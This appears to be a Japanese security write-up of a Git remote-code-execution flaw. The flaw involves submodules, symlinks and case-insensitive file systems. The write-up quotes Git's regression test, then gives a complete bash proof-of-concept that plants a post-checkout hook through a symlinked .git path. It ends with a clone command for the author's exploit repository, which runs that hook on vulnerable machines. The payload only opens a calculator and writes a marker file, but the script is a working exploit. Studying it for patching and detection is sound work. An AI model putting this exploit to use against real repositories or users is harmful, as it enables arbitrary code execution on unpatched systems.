貢献者
本脆弱性は、大文字小文字を区別しないWindowsやMacOSなどのファイルシステムにおいて、サブモジュールを含むgitリポジトリをcloneする際に発生するRCE(Remote Code Execution)脆弱性です。RCEはリモートコード実行脆弱性であり、攻撃者が対象システム上で任意のコマンドを実行できる非常に深刻な脆弱性です。
A/modules/x と a/modules/x は同じパスとして扱われます。この特性とシンボリックリンクを利用して脆弱性を引き起こします。
git config --global core.symlinks false に設定されている場合、攻撃は機能しません。builtin/submodule--helper.cdir_contains_only_dotgit関数: ディレクトリに.gitファイルのみが含まれているか、他のディレクトリも含まれているかを確認し、他のファイルやディレクトリがあればエラーを返す。 clone_submodule関数: clone前にサブモジュールディレクトリが存在し、空であることを確認する。
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
A/modules/xにサブモジュールとして追加し、コミットします。test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Git設定オプションを設定
git config --global protocol.file.allow always
git config --global core.symlinks true
# オプションですが、警告メッセージを回避するために追加
git config --global init.defaultBranch main
# tell-taleパスを定義
tell_tale_path="$PWD/tell.tale"
# フックリポジトリを初期化
git init hook
cd hook
mkdir -p y/hooks
# 悪意のあるコードをフックに書き込む
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# フックを実行可能にする: 重要
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# フックリポジトリのパスを定義
hook_repo_path="$(pwd)/hook"
# captainリポジトリを初期化
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# シンボリックリンクを作成
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
gitは特定のイベントが発生したときに自動的にスクリプトを実行できるようにするフックという仕組みがあります。場所は.git/hooksディレクトリにあります。 post-checkoutはチェックアウト後に実行されるスクリプトです。

手順は次のとおりです。
.gitを指すシンボリックリンクaが作成されるA/modules/xではなくa/modules/xとして認識されるaは.gitを指すため、.gitに/modules/xが作成され、y/hooks/post-checkoutが作成されるgit_rce/.git/modules/x/y/hooks/post-checkoutが実行され、RCEが発生する⚠️警告:本脆弱性を悪意を持って使用しないでください!
git clone --recursive https://github.com/Roronoawjd/git_rce.git注:Windowsでは管理者権限でcmdまたはbashシェルを開いて実行する必要があります。